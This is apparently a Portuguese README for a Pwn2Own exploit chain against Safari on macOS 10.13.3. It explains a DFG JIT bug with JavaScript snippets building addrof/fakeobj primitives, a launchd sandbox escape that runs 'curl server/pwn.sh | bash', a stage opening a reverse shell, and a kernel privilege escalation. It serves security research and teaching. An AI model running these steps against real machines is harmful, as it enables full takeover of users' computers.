
Um encadeamento de exploits do Pwn2Own
RCE no Safari, escape da sandbox e LPE para o kernel no macOS 10.13.3.
Instale o nasm e o tornado:
brew install nasm
pip3 install tornado
Verifique o config.py se quiser alterar o host ou as portas. Em seguida, inicie o servidor com ./server.py e navegue até a URL exibida.
Esta cadeia de exploits usa três bugs diferentes para ir do código JavaScript executado dentro do Safari até a execução de código em modo kernel:
A cadeia de exploits é implementada em seis estágios, cada um localizado em seu próprio subdiretório:
Todo subdiretório (com exceção de libspc/) contém um arquivo chamado make.py que, quando executado, realiza qualquer tipo de comando de build necessário e cria uma lista de arquivos a serem servidos pelo servidor web.
Objetivo: obter execução de shellcode dentro do processo WebContent em sandbox
Bug explorado: otimização incorreta no compilador JIT DFG
Veja também esta palestra da BlackHat
O compilador JIT DFG representa o código JavaScript em sua própria representação intermediária (IR), o Grafo de Fluxo de Dados (DFG). Normalmente, uma expressão JavaScript é traduzida em uma ou várias instruções de IR nesse grafo. No caso de uma função construtora, a instrução CreateThis é emitida e é responsável por alocar o objeto this que é construído pela função. Como exemplo, a função function Consructor() {}, quando chamada com new, seria aproximadamente traduzida para
v0 = CreateThis
return v0
Observando o AbstractInterpreter, podemos ver que o compilador JIT DFG assume que a operação CreateThis não resultará em nenhum efeito colateral além de uma alocação no heap. Na verdade, este código:
function Constructor(obj) {
return obj.x;
}
será aproximadamente traduzido para as seguintes instruções DFG:
(Aqui, o StructureCheck foi movido para o início da função pela
TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
No entanto, essa suposição é inválida, pois o código de caminho lento (slow-path) para CreateThis pode executar código JavaScript arbitrário em alguns casos. Em particular, ao usar um Proxy em volta da função real, a armadilha (trap) get para a propriedade "prototype" será chamada durante o manipulador de caminho lento para CreateThis, já que ele precisa buscar o objeto prototype do objeto construído:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Dessa forma, agora é possível modificar a Structure de um objeto sem que o compilador JIT realize um bailout.
Este bug pode ser usado para construir as primitivas addrof e fakeobj da seguinte forma:
Compilamos o código para o caso de um JSArray com elementos double unboxed e, então, no callback, fazemos a transição para elementos JSValue. Depois disso, o código JIT carregará um JSValue do array, mas tratará esses bits como um double e os retornará para nós. O código a seguir atribuirá o endereço de leakme à propriedade "address" do objeto construído.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Aqui fazemos essencialmente o contrário: otimizamos o código para armazenar um double em um array com elementos double unboxed e, novamente, fazemos a transição para elementos JSValue no callback. O código continuará escrevendo nosso double controlado em forma unboxed no armazenamento de apoio (backing storage). Quando acessarmos esse elemento do array mais tarde, ele tratará esses bits como um JSValue em vez de um double. O código a seguir escreverá o double unboxed address no buffer de apoio de a, que podemos então ler como JSValue, permitindo-nos "injetar" JSValues de nossa escolha no mecanismo.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
Dessa forma, acabamos com a capacidade de escrever um double e tratá-lo como um ponteiro JSObject, e vice-versa. Isso pode ser explorado conforme descrito em atacando mecanismos JavaScript.
O exploit primeiro obtém leitura/escrita arbitrária de memória do processo falsificando um Float64Array, depois procura pela região JIT (mapeada como RWX) e escreve o shellcode do stage1 nela.
Objetivo: inicializar o estágio 2 escrevendo um .dylib no disco e carregando-o via dlopen()
Um payload curto em assembly que essencialmente faz o seguinte:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obter um caminho para um diretório graváveldlopen()Objetivo: escapar da sandbox
Bug explorado: falta de verificações de sandbox na API "legacy_spawn" do launchd
Veja também esta palestra
O launchd expõe o endpoint RPC "legacy_spawn" como a rotina 817 no subsistema 3. Essa API não valida se o chamador deve ter permissão para criar processos e simplesmente executa execve de qualquer binário do sistema para o chamador, com argumentos controlados. Como o launchd é acessível através da porta de bootstrap, isso torna possível escapar da sandbox.
O exploit essencialmente executa curl server/pwn.sh | bash e, assim, passa o controle para o stage3.
Objetivo: abrir a calculadora (pop calc) e inicializar os estágios restantes
Isso executa open /Applications/Calculator.app e estabelece um reverse shell; em seguida, busca todos os arquivos necessários para os estágios restantes e executa os exploits.
Objetivo: obter root através de um exploit de LPE
Bug explorado: MitM na porta de bootstrap do XNU
Veja também esta palestra da POC